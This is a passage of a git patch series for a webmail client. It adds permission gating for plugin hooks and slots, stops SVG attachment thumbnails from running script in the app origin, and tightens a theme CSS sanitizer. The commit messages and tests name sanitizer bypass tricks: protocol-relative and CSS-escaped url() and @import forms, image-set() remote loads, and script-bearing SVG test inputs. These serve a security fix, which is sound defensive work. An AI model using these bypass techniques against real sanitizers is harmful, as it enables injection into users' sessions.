managed plugin declares', async () => { + await loadSandboxedPlugin(plugin({ permissions: ['email:send', 'email:render-takeover', 'ui:email-banner'] })); + + expect(emailHooks.onTransformOutgoingEmail.size).toBe(1); + expect(renderHooks.onRenderEmailBody.size).toBe(1); + expect(getActive('hook-plugin')?.slotOffers.map((o) => o.name)).toEqual(['email-banner', 'plugin-dialog']); + }); + + it('holds back a declared permission the user has not granted', async () => { + await loadSandboxedPlugin(plugin({ + managed: false, + permissions: ['email:send', 'email:render-takeover'], + grantedPermissions: ['email:render-takeover'], + })); + + expect(emailHooks.onTransformOutgoingEmail.size).toBe(0); + expect(renderHooks.onRenderEmailBody.size).toBe(1); + }); +}); + +describe('permission tables', () => { + it('refuses a hook it does not know', () => { + expect(hookPermission('onSomethingNew')).toBeNull(); + expect(mayRegisterHook(plugin({ permissions: ['email:read'] }), 'onSomethingNew')).toBe(false); + expect(hookPermission('toString')).toBeNull(); + }); + + it('refuses a slot it does not know', () => { + expect(mayOfferSlot(plugin({ permissions: ['ui:toolbar'] }), 'made-up-slot')).toBe(false); + expect(mayOfferSlot(plugin({ permissions: ['ui:toolbar'] }), 'constructor')).toBe(false); + }); + + it('accepts either permission for the admin page slot', () => { + expect(mayOfferSlot(plugin({ permissions: ['admin:config'] }), 'admin-plugin-page')).toBe(true); + expect(mayOfferSlot(plugin({ permissions: ['ui:admin-page'] }), 'admin-plugin-page')).toBe(true); + expect(mayOfferSlot(plugin({ permissions: [] }), 'admin-plugin-page')).toBe(false); + }); + + it('treats implicit permissions as granted', () => { + expect(pluginHasPermission(plugin({ managed: false }), 'app:lifecycle' as Permission)).toBe(true); + expect(mayRegisterHook(plugin(), 'onAfterLogout')).toBe(true); + }); +}); diff --git a/lib/plugin-sandbox/host-api.ts b/lib/plugin-sandbox/host-api.ts index 6393177e4..08bb0d2b6 100644 --- a/lib/plugin-sandbox/host-api.ts +++ b/lib/plugin-sandbox/host-api.ts @@ -3,7 +3,7 @@ // structured-cloneable data back to the iframe. import type { InstalledPlugin, Permission } from '../plugin-types'; -import { IMPLICIT_PERMISSIONS } from '../plugin-types'; +import { pluginHasPermission } from './permissions'; import { toast as appToast } from '@/stores/toast-store'; import { useAuthStore } from '@/stores/auth-store'; import { useAccountStore } from '@/stores/account-store'; @@ -165,16 +165,6 @@ const PERM_PER_METHOD: Record = { 'sieve.regenerate': 'filters:write', }; -function hasPermission(plugin: InstalledPlugin, perm: Permission): boolean { - if ((IMPLICIT_PERMISSIONS as readonly string[]).includes(perm)) return true; - if (!plugin.permissions.includes(perm)) return false; - // Defense-in-depth: even if the manifest declares a permission, the host - // refuses the API call unless an admin has marked the plugin as managed, - // or the user has explicitly granted it via the consent dialog. - if (plugin.managed) return true; - return (plugin.grantedPermissions ?? []).includes(perm); -} - // ─── Cross-origin allow-list (mirrors lib/plugin-api.ts) ────── function originMatchesAllowlist(url: URL, allowlist: string[]): boolean { @@ -1371,7 +1361,7 @@ export async function dispatchApiCall( // Permission gate const requiredPerm = PERM_PER_METHOD[method]; if (requiredPerm !== undefined && requiredPerm !== null) { - if (!hasPermission(plugin, requiredPerm)) { + if (!pluginHasPermission(plugin, requiredPerm)) { throw new Error(`Plugin "${plugin.id}" lacks permission "${requiredPerm}"`); } } else if (!(method in PERM_PER_METHOD)) { diff --git a/lib/plugin-sandbox/loader.ts b/lib/plugin-sandbox/loader.ts index 4753bf016..e5f8b4706 100644 --- a/lib/plugin-sandbox/loader.ts +++ b/lib/plugin-sandbox/loader.ts @@ -21,6 +21,7 @@ import { resolvePluginTier } from './tier'; import { register as registerActive, deregister as deregisterActive, all as allActiveEntries } from './registry'; import { cancelPluginDialogs } from './host-api'; import { registerShortcuts } from './shortcuts'; +import { mayOfferSlot, mayRegisterHook } from './permissions'; // ─── Hook-bus lookup (one flat map for name → bus) ──────────── @@ -165,6 +166,8 @@ export async function loadSandboxedPlugin(plugin: InstalledPlugin): Promise` hooks // are dispatched by the keyboard module separately and don't have a bus. + // A hook hands the plugin data or a say in what the host sends, so it + // needs the same manifest permission as the matching API call. const hookDisposables: Disposable[] = []; for (const hookName of info.hooks) { if (hookName.startsWith('shortcut:')) continue; @@ -173,6 +176,10 @@ export async function loadSandboxedPlugin(plugin: InstalledPlugin): Promise { try { return await bg.invokeHook(hookName, args); @@ -188,12 +195,18 @@ export async function loadSandboxedPlugin(plugin: InstalledPlugin): Promise { + if (mayOfferSlot(plugin, offer.name)) return true; + console.warn(`[plugin-sandbox] Plugin "${plugin.id}" lacks the permission for slot "${offer.name}"; not rendered`); + return false; + }); + registerActive({ plugin, code, tier, background: bg, - slotOffers: info.slots, + slotOffers, hookDisposables, }); diff --git a/lib/plugin-sandbox/permissions.ts b/lib/plugin-sandbox/permissions.ts new file mode 100644 index 000000000..1f298b51e --- /dev/null +++ b/lib/plugin-sandbox/permissions.ts @@ -0,0 +1,296 @@ +import type { InstalledPlugin, Permission, SlotName } from '../plugin-types'; +import { IMPLICIT_PERMISSIONS } from '../plugin-types'; + +/** + * Whether `plugin` may use `perm`: the manifest must declare it, and an + * admin must have installed the plugin (managed) or the user must have + * granted it in the consent dialog. Implicit permissions always pass. + */ +export function pluginHasPermission(plugin: InstalledPlugin, perm: Permission): boolean { + if ((IMPLICIT_PERMISSIONS as readonly string[]).includes(perm)) return true; + if (!plugin.permissions.includes(perm)) return false; + // Defense-in-depth: even if the manifest declares a permission, the host + // refuses it unless an admin has marked the plugin as managed, or the user + // has explicitly granted it via the consent dialog. + if (plugin.managed) return true; + return (plugin.grantedPermissions ?? []).includes(perm); +} + +// ─── Hooks ──────────────────────────────────────────────────── + +/** + * The permission each hook needs. A hook hands the plugin data (an opened + * message, the outgoing mail) or lets it change what the host does with it, + * so registering one is as much an API call as `email.get` and is gated the + * same way. A hook missing from this table is refused. + */ +const HOOK_PERMISSIONS: Record = { + // Email: reading + onEmailOpen: 'email:read', + onEmailClose: 'email:read', + onEmailContentRender: 'email:read', + onThreadExpand: 'email:read', + onComposerOpen: 'email:read', + onAfterEmailSend: 'email:read', + onDraftAutoSave: 'email:read', + onAfterEmailDelete: 'email:read', + onAfterEmailMove: 'email:read', + onEmailArchive: 'email:read', + onEmailUnarchive: 'email:read', + onEmailReadStateChange: 'email:read', + onEmailStarToggle: 'email:read', + onEmailSpamToggle: 'email:read', + onEmailKeywordChange: 'email:read', + onMailboxChange: 'email:read', + onMailboxesRefresh: 'email:read', + onMailboxCreate: 'email:read', + onMailboxRename: 'email:read', + onMailboxDelete: 'email:read', + onMailboxEmpty: 'email:read', + onSearch: 'email:read', + onSearchResults: 'email:read', + onEmailSelectionChange: 'email:read', + onNewEmailReceived: 'email:read', + onPushConnectionChange: 'email:read', + onQuotaChange: 'email:read', + onMailtoIntercept: 'email:read', + onBeforeReply: 'email:read', + onBeforeReplyAll: 'email:read', + onBeforeForward: 'email:read', + onBeforeAttachmentUpload: 'email:read', + onAfterAttachmentUpload: 'email:read', + onAttachmentDownload: 'email:read', + onProvideSearchResults: 'email:read', + onDraftChange: 'email:read', + // Email: changing mail in the mailbox + onBeforeEmailDelete: 'email:write', + onBeforeEmailMove: 'email:write', + // Email: changing what is sent (recipients, body, drafts, the submission) + onBeforeCompose: 'email:send', + onBeforeEmailSend: 'email:send', + onTransformOutgoingEmail: 'email:send', + onComposeSend: 'email:send', + onBeforeDraftAutoSave: 'email:send', + onBeforeEditDraft: 'email:send', + onBuildQuoteHeader: 'email:send', + onRecipientChipsChange: 'email:send', + onBeforeComposeOpenToForwardAsAttachment: 'email:send', + onBeforeComposeOpenToReply: 'email:send', + onBeforeComposeOpenToReplyAll: 'email:send', + onBeforeComposeOpenToForward: 'email:send', + onBeforeBlobUpload: 'email:blob-write', + // Email: changing what is displayed + onEmailsFetched: 'email:render-takeover', + onAttachmentPreview: 'email:render-takeover', + onEmailListItemRender: 'email:render-takeover', + onRenderEmailBody: 'email:render-takeover', + // Email data reached through other surfaces + onAvatarResolve: 'email:read', + onDragStart: 'email:read', + onDragEnd: 'email:read', + onEmailDrop: 'email:read', + onTagDrop: 'email:read', + onBrowserNotification: 'email:read', + onNotificationClick: 'email:read', + onTextSelectionChange: 'email:read', + onBeforeEmailCategorize: 'email:read', + onEmailCategorize: 'email:read', + + // Calendar + onCalendarEventOpen: 'calendar:read', + onAfterEventCreate: 'calendar:read', + onAfterEventUpdate: 'calendar:read', + onAfterEventDelete: 'calendar:read', + onEventRsvp: 'calendar:read', + onEventsImport: 'calendar:read', + onCalendarDateChange: 'calendar:read', + onCalendarViewChange: 'calendar:read', + onCalendarChange: 'calendar:read', + onCalendarVisibilityToggle: 'calendar:read', + onICalSubscriptionChange: 'calendar:read', + onCalendarAlert: 'calendar:read', + onCalendarAlertAcknowledge: 'calendar:read', + onCheckEventConflicts: 'calendar:read', + onCalendarEventFormOpen: 'calendar:read', + onBeforeEventCreate: 'calendar:write', + onBeforeEventUpdate: 'calendar:write', + onBeforeEventDelete: 'calendar:write', + onCalendarEventFormSave: 'calendar:write', + + // Contacts + onContactOpen: 'contacts:read', + onAfterContactCreate: 'contacts:read', + onAfterContactUpdate: 'contacts:read', + onAfterContactDelete: 'contacts:read', + onContactsImport: 'contacts:read', + onContactSelectionChange: 'contacts:read', + onContactGroupChange: 'contacts:read', + onContactGroupMemberChange: 'contacts:read', + onContactMove: 'contacts:read', + onProvideRecipientSuggestions: 'contacts:read', + onBeforeContactCreate: 'contacts:write', + onBeforeContactUpdate: 'contacts:write', + onBeforeContactDelete: 'contacts:write', + + // Files + onFileNavigate: 'files:read', + onAfterFileUpload: 'files:read', + onFileDownload: 'files:read', + onFileUploadCancel: 'files:read', + onDirectoryCreate: 'files:read', + onAfterFileDelete: 'files:read', + onFileRename: 'files:read', + onFileMove: 'files:read', + onFileCopy: 'files:read', + onFileDuplicate: 'files:read', + onFileFavoriteToggle: 'files:read', + onFileSelectionChange: 'files:read', + onFileUndo: 'files:read', + onBeforeFileUpload: 'files:write', + onBeforeFileDelete: 'files:write', + onBeforeFileRename: 'files:write', + + // Sign-in state. Logout and account switches are lifecycle events every + // plugin needs to drop per-account state, so they stay implicit. + onLogin: 'auth:observe', + onAccountAdd: 'auth:observe', + onAccountRemove: 'auth:observe', + onTokenRefresh: 'auth:observe', + onAuthReady: 'auth:observe', + onBeforeLogout: 'app:lifecycle', + onAfterLogout: 'app:lifecycle', + onAccountSwitch: 'app:lifecycle', + // Carries the code of a plugin's own OAuth flow with a third party. + onOAuthCallback: 'http:fetch', + + // Settings + onSettingChange: 'settings:read', + onSettingsExport: 'settings:read', + onSettingsReset: 'settings:read', + onSettingsSync: 'settings:read', + onKeywordChange: 'settings:read', + onTrustedSenderChange: 'settings:read', + onSettingsImport: 'settings:write', + + // Identities + onIdentitiesLoaded: 'identity:read', + onIdentityCreate: 'identity:read', + onIdentityUpdate: 'identity:read', + onIdentityDelete: 'identity:read', + onIdentitySelect: 'identity:read', + onSignatureRender: 'identity:read', + + // Filters + onFiltersLoaded: 'filters:read', + onFilterRuleChange: 'filters:read', + onFiltersSave: 'filters:read', + onSieveScriptChange: 'filters:read', + onSieveScriptGenerate: 'filters:write', + + // Tasks, templates, S/MIME, vacation, account security + onTasksLoaded: 'tasks:read', + onTaskCreate: 'tasks:read', + onTaskUpdate: 'tasks:read', + onTaskDelete: 'tasks:read', + onTaskToggleComplete: 'tasks:read', + onTaskFilterChange: 'tasks:read', + onTemplateCreate: 'templates:read', + onTemplateUpdate: 'templates:read', + onTemplateDelete: 'templates:read', + onTemplateApply: 'templates:read', + onTemplatesImport: 'templates:read', + onTemplateRender: 'templates:read', + onSmimeKeyImport: 'smime:read', + onSmimeCertImport: 'smime:read', + onSmimeKeyStateChange: 'smime:read', + onSmimeDefaultsChange: 'smime:read', + onVacationLoaded: 'vacation:read', + onVacationUpdate: 'vacation:read', + onPasswordChange: 'security:read', + onTotpChange: 'security:read', + onAppPasswordChange: 'security:read', + onEncryptionChange: 'security:read', + onDisplayNameChange: 'security:read', + + // UI and app state + onViewChange: 'ui:observe', + onSidebarToggle: 'ui:observe', + onSidebarCollapse: 'ui:observe', + onDeviceTypeChange: 'ui:observe', + onColumnResize: 'ui:observe', + onMobileBack: 'ui:observe', + onMobileViewSwitch: 'ui:observe', + onBeforeExternalLink: 'ui:observe', + onThemeChange: 'ui:observe', + onCustomThemeChange: 'ui:observe', + onLocaleChange: 'ui:observe', + onThemeBeforeApply: 'ui:observe', + onToastShow: 'ui:observe', + onToastDismiss: 'ui:observe', + onSidebarAppOpen: 'ui:observe', + onSidebarAppClose: 'ui:observe', + onSidebarAppChange: 'ui:observe', + onNavigate: 'ui:observe', + onRouteEnter: 'ui:observe', + onRouteLeave: 'ui:observe', + onTabsChange: 'ui:message-list-tabs', + onTabActivate: 'ui:message-list-tabs', + onTabCountsRefresh: 'ui:message-list-tabs', + onBeforeShortcut: 'ui:keyboard', + onAfterShortcut: 'ui:keyboard', + onAppReady: 'app:lifecycle', + onVisibilityChange: 'app:lifecycle', + onBeforeUnload: 'app:lifecycle', + onAppError: 'app:lifecycle', + onInterval: 'app:lifecycle', + onWindowFocus: 'app:lifecycle', + onWindowBlur: 'app:lifecycle', + onOnline: 'app:lifecycle', + onOffline: 'app:lifecycle', +}; + +export function hookPermission(hookName: string): Permission | null { + return Object.prototype.hasOwnProperty.call(HOOK_PERMISSIONS, hookName) ? HOOK_PERMISSIONS[hookName] : null; +} + +export function mayRegisterHook(plugin: InstalledPlugin, hookName: string): boolean { + const perm = hookPermission(hookName); + return perm !== null && pluginHasPermission(plugin, perm); +} + +// ─── Slots ──────────────────────────────────────────────────── + +/** + * Permissions that allow rendering into each slot (any one suffices). Slot + * components receive the data of the surface they sit on (the open message, + * the draft), so they are gated like hooks. + */ +const SLOT_PERMISSIONS: Record = { + 'toolbar-actions': ['ui:toolbar'], + 'app-top-banner': ['ui:app-top-banner'], + 'email-banner': ['ui:email-banner'], + 'email-footer': ['ui:email-footer'], + 'composer-toolbar': ['ui:composer-toolbar'], + 'composer-sidebar': ['ui:composer-sidebar'], + 'composer-sidebar-right': ['ui:composer-sidebar'], + 'composer-attachment-source': ['ui:composer-toolbar', 'ui:composer-sidebar'], + 'sidebar-widget': ['ui:sidebar-widget'], + 'email-detail-sidebar': ['ui:email-details'], + 'email-details-section': ['ui:email-details'], + 'settings-section': ['ui:settings-section'], + 'context-menu-email': ['ui:context-menu'], + 'navigation-rail-bottom': ['ui:navigation-rail'], + 'calendar-event-actions': ['ui:calendar-action'], + 'admin-plugin-page': ['ui:admin-page', 'admin:config'], + 'contact-cryptokeys': ['ui:contact-cryptokeys'], + 'attachment-actions': ['email:read'], + // Only shown inside a dialog the plugin opened through the host API. + 'plugin-dialog': ['ui:observe'], +}; + +export function mayOfferSlot(plugin: InstalledPlugin, slot: string): boolean { + const perms = Object.prototype.hasOwnProperty.call(SLOT_PERMISSIONS, slot) + ? SLOT_PERMISSIONS[slot as SlotName] + : null; + return !!perms && perms.some((perm) => pluginHasPermission(plugin, perm)); +} From ad84588f6a74dfb2202912cdde53d7f14c94c242 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:30:19 +0200 Subject: [PATCH 034/358] fix: keep an SVG attachment thumbnail from running script in the webmail origin Attachment thumbnails were object URLs typed with the sender's MIME type. Object URLs share the webmail origin, so an `image/svg+xml` attachment opened from its thumbnail ("Open image in new tab", or dragged to the tab strip) ran the sender's script as the webmail in Chromium and Firefox. The drag-out URL and Files thumbnails had the same shape. `fetchBlobAsObjectUrl` now re-types every blob to an inert type, and image thumbnails in mail and Files go through `imageBlobUrl`, which hands an SVG over as a `data:` URL: it still renders in the ``, but opened on its own it gets an opaque origin. --- components/email/email-viewer.tsx | 16 ++++++----- lib/__tests__/file-preview.test.ts | 30 ++++++++++++++++++-- lib/__tests__/jmap-client-resilience.test.ts | 18 ++++++++++++ lib/demo/demo-client.ts | 3 +- lib/file-preview.ts | 21 ++++++++++++++ lib/jmap/client.ts | 9 +++++- stores/file-store.ts | 3 +- 7 files changed, 88 insertions(+), 12 deletions(-) diff --git a/components/email/email-viewer.tsx b/components/email/email-viewer.tsx index ad262f67f..686b1526a 100644 --- a/components/email/email-viewer.tsx +++ b/components/email/email-viewer.tsx @@ -106,7 +106,7 @@ import { useMenuNavigation } from "@/hooks/use-menu-navigation"; import { findCalendarAttachment, isCalendarMimeType } from "@/lib/calendar-invitation"; import { RecipientPopover } from "./recipient-popover"; import { MailtoLink } from "@/components/ui/mailto-link"; -import { inertBlobType, isFilePreviewable, isMimeTypeSafeForInlinePreview, toInertBlob } from "@/lib/file-preview"; +import { imageBlobUrl, inertBlobType, isFilePreviewable, isMimeTypeSafeForInlinePreview, toInertBlob } from "@/lib/file-preview"; import { useWopiStatus, canWopiOpen } from "@/hooks/use-wopi-status"; import { parseTnef, isTnefAttachment } from "@/lib/tnef"; import { debug } from "@/lib/debug"; @@ -604,13 +604,13 @@ function DraggableAttachmentChip({ attachment, client, accountId, enabled, downl if (attachment.tnefData) { const bytes = attachment.tnefData; const buffer = bytes.buffer.slice(bytes.byteOffset, bytes.byteOffset + bytes.byteLength) as ArrayBuffer; - return URL.createObjectURL(new Blob([buffer], { type: attachment.type || 'application/octet-stream' })); + return URL.createObjectURL(new Blob([buffer], { type: inertBlobType(attachment.type) })); } if (attachment.decryptedAttachment) { const bytes = getAttachmentContentBytes(attachment.decryptedAttachment); if (!bytes || bytes.byteLength === 0) return null; const buffer = bytes.buffer.slice(bytes.byteOffset, bytes.byteOffset + bytes.byteLength) as ArrayBuffer; - return URL.createObjectURL(new Blob([buffer], { type: attachment.type || 'application/octet-stream' })); + return URL.createObjectURL(new Blob([buffer], { type: inertBlobType(attachment.type) })); } return null; }, @@ -2130,8 +2130,10 @@ export function EmailViewer({ ) : null; - // Pre-fetch object URLs for image attachments so their actual contents can be + // Pre-fetch URLs for image attachments so their actual contents can be // rendered as thumbnails inside the chip. Skips images larger than 10 MB. + // The thumbnail can be opened on its own (context menu, drag to the tab + // strip), so imageBlobUrl keeps a sender's SVG out of the webmail origin. useEffect(() => { let cancelled = false; const createdUrls: string[] = []; @@ -2156,18 +2158,18 @@ export function EmailViewer({ let url: string | undefined; try { if (att.blobId && blobClient) { - url = await blobClient.fetchBlobAsObjectUrl(att.blobId, att.name || 'thumb', att.type, blobAccountId); + url = await imageBlobUrl(await blobClient.fetchBlob(att.blobId, att.name || 'thumb', att.type, blobAccountId), att.type); } else if (att.decryptedAttachment) { const bytes = getAttachmentContentBytes(att.decryptedAttachment); if (!bytes || bytes.byteLength === 0) return; const buffer = bytes.buffer.slice(bytes.byteOffset, bytes.byteOffset + bytes.byteLength) as ArrayBuffer; - url = URL.createObjectURL(new Blob([buffer], { type: att.type || 'application/octet-stream' })); + url = await imageBlobUrl(new Blob([buffer]), att.type); } else if (att.tnefData) { const buffer = att.tnefData.buffer.slice( att.tnefData.byteOffset, att.tnefData.byteOffset + att.tnefData.byteLength, ) as ArrayBuffer; - url = URL.createObjectURL(new Blob([buffer], { type: att.type || 'application/octet-stream' })); + url = await imageBlobUrl(new Blob([buffer]), att.type); } } catch { return; diff --git a/lib/__tests__/file-preview.test.ts b/lib/__tests__/file-preview.test.ts index cb20dd3d3..8a9895f37 100644 --- a/lib/__tests__/file-preview.test.ts +++ b/lib/__tests__/file-preview.test.ts @@ -1,6 +1,6 @@ -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; -import { getFilePreviewKind, inertBlobType, isFilePreviewable, toInertBlob } from '../file-preview'; +import { getFilePreviewKind, imageBlobUrl, inertBlobType, isFilePreviewable, toInertBlob } from '../file-preview'; describe('file preview detection', () => { it('detects browser-renderable image attachments', () => { @@ -58,3 +58,29 @@ describe('inert blob typing for cid: parts (GHSA-xvjh-v9c6-qcvc)', () => { expect(toInertBlob(png)).toBe(png); }); }); + +describe('image thumbnails that can be opened on their own', () => { + const svg = ''; + + it('hands an SVG over as a data: URL, never a same-origin object URL', async () => { + const url = await imageBlobUrl(new Blob([svg], { type: 'image/svg+xml' })); + expect(url.startsWith('data:image/svg+xml;base64,')).toBe(true); + }); + + it('goes by the declared type when the bytes carry none', async () => { + const url = await imageBlobUrl(new Blob([svg]), 'image/svg+xml'); + expect(url.startsWith('data:image/svg+xml')).toBe(true); + }); + + it('keeps raster images as object URLs', async () => { + const created: Blob[] = []; + const spy = vi.spyOn(URL, 'createObjectURL').mockImplementation((blob) => { + created.push(blob as Blob); + return 'blob:test'; + }); + expect(await imageBlobUrl(new Blob([new Uint8Array([137, 80, 78, 71])]), 'image/png')).toBe('blob:test'); + expect(await imageBlobUrl(new Blob(['

x

']), 'text/html')).toBe('blob:test'); + expect(created.map((b) => b.type)).toEqual(['image/png', 'application/octet-stream']); + spy.mockRestore(); + }); +}); diff --git a/lib/__tests__/jmap-client-resilience.test.ts b/lib/__tests__/jmap-client-resilience.test.ts index 5f2fdefee..6bcbef2e9 100644 --- a/lib/__tests__/jmap-client-resilience.test.ts +++ b/lib/__tests__/jmap-client-resilience.test.ts @@ -746,6 +746,24 @@ describe('JMAPClient resilience', () => { URL.revokeObjectURL(objectUrl); }); + it('never hands back an object URL typed as a script-bearing document', async () => { + const client = await createConnectedClient(); + fetchSpy.mockResolvedValueOnce(new Response('', { + status: 200, + headers: { 'Content-Type': 'image/svg+xml' }, + })); + const created: Blob[] = []; + const spy = vi.spyOn(URL, 'createObjectURL').mockImplementation((blob) => { + created.push(blob as Blob); + return 'blob:test'; + }); + + await client.fetchBlobAsObjectUrl('blob-svg', 'logo.svg', 'image/svg+xml'); + + expect(created[0].type).toBe('application/octet-stream'); + spy.mockRestore(); + }); + it('throws when download URL is not available', async () => { fetchSpy.mockResolvedValueOnce(mockFetchResponse(200, makeSession({ downloadUrl: '' }))); const client = new JMAPClient('https://mail.example.com', 'user@test.com', 'pass123'); diff --git a/lib/demo/demo-client.ts b/lib/demo/demo-client.ts index 2d2eec3ed..9e5ea6c72 100644 --- a/lib/demo/demo-client.ts +++ b/lib/demo/demo-client.ts @@ -5,6 +5,7 @@ import { getDemoData, type DemoData } from './demo-data'; import { generateDemoId } from './demo-utils'; import { compareEmails, type SortLevel } from '@/lib/message-list-order'; import { withBasePath } from '@/lib/browser-navigation'; +import { toInertBlob } from '@/lib/file-preview'; // Fixture blobs with real bytes behind them, served from public/demo/. The // photos are CC0 / public domain from Wikimedia Commons: "Wedding couple @@ -731,7 +732,7 @@ export class DemoJMAPClient implements IJMAPClient { async fetchBlobAsObjectUrl(blobId: string): Promise { const blob = await this.fetchBlob(blobId); - return URL.createObjectURL(blob); + return URL.createObjectURL(toInertBlob(blob)); } async fetchBlobArrayBuffer(blobId: string): Promise { diff --git a/lib/file-preview.ts b/lib/file-preview.ts index b4dc2c528..b1b2bdfb4 100644 --- a/lib/file-preview.ts +++ b/lib/file-preview.ts @@ -108,4 +108,25 @@ export function inertBlobType(type?: string): string { /** Re-type a fetched Blob per inertBlobType() without copying its bytes. */ export function toInertBlob(blob: Blob): Blob { return isMimeTypeSafeForInlinePreview(blob.type) ? blob : blob.slice(0, blob.size, INERT_BLOB_TYPE); +} + +/** + * A URL an can show whose target is inert when opened on its own + * ("Open image in new tab", dragging it to the tab strip). An object URL + * shares the webmail origin, so an image/svg+xml one would run the + * sender's script there. SVG is handed over as a data: URL instead - its + * document gets an opaque origin - and every other type as an object URL + * re-typed per inertBlobType(). Revoking the result is safe either way. + */ +export async function imageBlobUrl(blob: Blob, type?: string): Promise { + const mimeType = (type || blob.type).split(';')[0].trim().toLowerCase(); + if (INLINE_PREVIEW_UNSAFE_MIME_TYPES.has(mimeType)) { + return new Promise((resolve, reject) => { + const reader = new FileReader(); + reader.onload = () => resolve(String(reader.result)); + reader.onerror = () => reject(reader.error); + reader.readAsDataURL(blob.slice(0, blob.size, 'image/svg+xml')); + }); + } + return URL.createObjectURL(toInertBlob(type ? blob.slice(0, blob.size, type) : blob)); } \ No newline at end of file diff --git a/lib/jmap/client.ts b/lib/jmap/client.ts index 35d5e70cf..d59460f4b 100644 --- a/lib/jmap/client.ts +++ b/lib/jmap/client.ts @@ -20,6 +20,7 @@ export { SchedulingDeniedError }; import { acceptedFileName, fileNameRulesFrom, type FileNameRules } from "@/lib/file-name-rules"; import { getEffectiveTimeZone, toLocalDateTime } from "@/lib/timezone"; import { buildEmailSort, compareEmails, hasKeywordLevels, type KeywordSortPolarity, type SortLevel } from "@/lib/message-list-order"; +import { toInertBlob } from "@/lib/file-preview"; // Cap for the follow-up Email/get issued when a displayed body part comes // back truncated at the normal 256000-byte limit (see refetchTruncatedBodyValues @@ -4722,9 +4723,15 @@ export class JMAPClient implements IJMAPClient { return response.blob(); } + /** + * Object URL for a blob. It shares the webmail origin and the type comes + * from whoever sent the blob, so it is re-typed to something no browser + * runs as a document (toInertBlob); image/svg+xml and text/html come back + * as application/octet-stream. + */ async fetchBlobAsObjectUrl(blobId: string, name?: string, type?: string, accountId?: string): Promise { const blob = await this.fetchBlob(blobId, name, type, accountId); - return URL.createObjectURL(blob); + return URL.createObjectURL(toInertBlob(blob)); } getCapabilities(): Record { diff --git a/stores/file-store.ts b/stores/file-store.ts index ddd923149..63e205f7a 100644 --- a/stores/file-store.ts +++ b/stores/file-store.ts @@ -1,6 +1,7 @@ import { create } from 'zustand'; import type { IJMAPClient } from '@/lib/jmap/client-interface'; import type { FileNode, FileNodeRights } from '@/lib/jmap/types'; +import { imageBlobUrl } from '@/lib/file-preview'; export interface FileResource { id: string; @@ -803,7 +804,7 @@ export const useFileStore = create((set, get) => ({ const resource = resources.find(r => r.name === name); if (!resource?.blobId) throw new Error('No blob'); - return client.fetchBlobAsObjectUrl(resource.blobId, resource.name, resource.contentType); + return imageBlobUrl(await client.fetchBlob(resource.blobId, resource.name, resource.contentType), resource.contentType); }, getFileContent: async (name: string) => { From 6f1cad1c98fbfbb9928c796b4ee3408f26f63707 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:36:02 +0200 Subject: [PATCH 035/358] fix: close theme CSS sanitizer bypasses and enforce :root/.dark selectors The theme sanitizer was a short denylist. It missed protocol-relative `url(//host)`, schemes and keywords spelled with CSS escapes (`url(\68ttps:...)`, `@\69mport`), `image-set("https://...")` and `@font-face` sources, so a theme could load remote resources from the app document. `validateThemeSelectors` was never called, so theme CSS could also target `input[type=password]` or restyle real UI. The admin routes and the zip validator only sanitized when the safety check failed, and CSS returned by the `onThemeBeforeApply` plugin hook was injected as-is. - every `url()` except a `#fragment` and every `image-set()` is removed with its arguments; a banned construct spelled with escapes drops the whole stylesheet - theme CSS keeps only `:root` and `.dark` rules (no nested rules), plus `@font-face`, `@keyframes` and `@media`/`@supports` wrappers - sanitizing is unconditional everywhere, including plugin-transformed CSS; compiled token values may not contain escapes or `url()` --- app/api/admin/marketplace/route.ts | 14 +- app/api/admin/themes/route.ts | 14 +- lib/__tests__/theme-loader.test.ts | 47 +++++++ lib/plugin-types.ts | 8 +- lib/plugin-validator.ts | 14 +- lib/theme-compiler.ts | 5 +- lib/theme-loader.ts | 207 ++++++++++++++++++++++------- stores/theme-store.ts | 3 +- 8 files changed, 238 insertions(+), 74 deletions(-) diff --git a/app/api/admin/marketplace/route.ts b/app/api/admin/marketplace/route.ts index 914d88b46..b218c4ea3 100644 --- a/app/api/admin/marketplace/route.ts +++ b/app/api/admin/marketplace/route.ts @@ -20,7 +20,7 @@ import { } from '@/lib/admin/csp-frame-origins'; import JSZip from 'jszip'; import { MAX_PLUGIN_SIZE, MAX_THEME_SIZE, ALL_PERMISSIONS } from '@/lib/plugin-types'; -import { sanitizeThemeCSS, validateThemeCSSSafety } from '@/lib/theme-loader'; +import { sanitizeThemeCSS } from '@/lib/theme-loader'; import { configManager } from '@/lib/admin/config-manager'; async function getDirectoryUrl(): Promise { @@ -202,14 +202,12 @@ export async function POST(request: NextRequest) { let css = await cssFile.async('string'); - // Validate and sanitize CSS + // Sanitize unconditionally: the safety check is advisory, and the + // sanitizer is also what drops rules outside :root and .dark. const warnings: string[] = []; - const safety = validateThemeCSSSafety(css); - if (!safety.valid) { - const sanitized = sanitizeThemeCSS(css); - css = sanitized.css; - warnings.push(...sanitized.warnings); - } + const sanitized = sanitizeThemeCSS(css); + css = sanitized.css; + warnings.push(...sanitized.warnings); const existingTheme = await getTheme(resolvedId); const isUpdate = existingTheme !== null; diff --git a/app/api/admin/themes/route.ts b/app/api/admin/themes/route.ts index 74bb9ea1b..f600d09b6 100644 --- a/app/api/admin/themes/route.ts +++ b/app/api/admin/themes/route.ts @@ -11,7 +11,7 @@ import { import JSZip from 'jszip'; import { MAX_THEME_SIZE } from '@/lib/plugin-types'; -import { sanitizeThemeCSS, validateThemeCSSSafety } from '@/lib/theme-loader'; +import { sanitizeThemeCSS } from '@/lib/theme-loader'; /** * GET /api/admin/themes - List all admin-managed themes @@ -118,14 +118,12 @@ export async function POST(request: NextRequest) { let css = await cssFile.async('string'); - // Validate and sanitize CSS + // Sanitize unconditionally: the safety check is advisory, and the + // sanitizer is also what drops rules outside :root and .dark. const warnings: string[] = []; - const safety = validateThemeCSSSafety(css); - if (!safety.valid) { - const sanitized = sanitizeThemeCSS(css); - css = sanitized.css; - warnings.push(...sanitized.warnings); - } + const sanitized = sanitizeThemeCSS(css); + css = sanitized.css; + warnings.push(...sanitized.warnings); const now = new Date().toISOString(); const theme: ServerTheme = { diff --git a/lib/__tests__/theme-loader.test.ts b/lib/__tests__/theme-loader.test.ts index 1dd29a425..5d37554f1 100644 --- a/lib/__tests__/theme-loader.test.ts +++ b/lib/__tests__/theme-loader.test.ts @@ -233,4 +233,51 @@ describe('theme-loader', 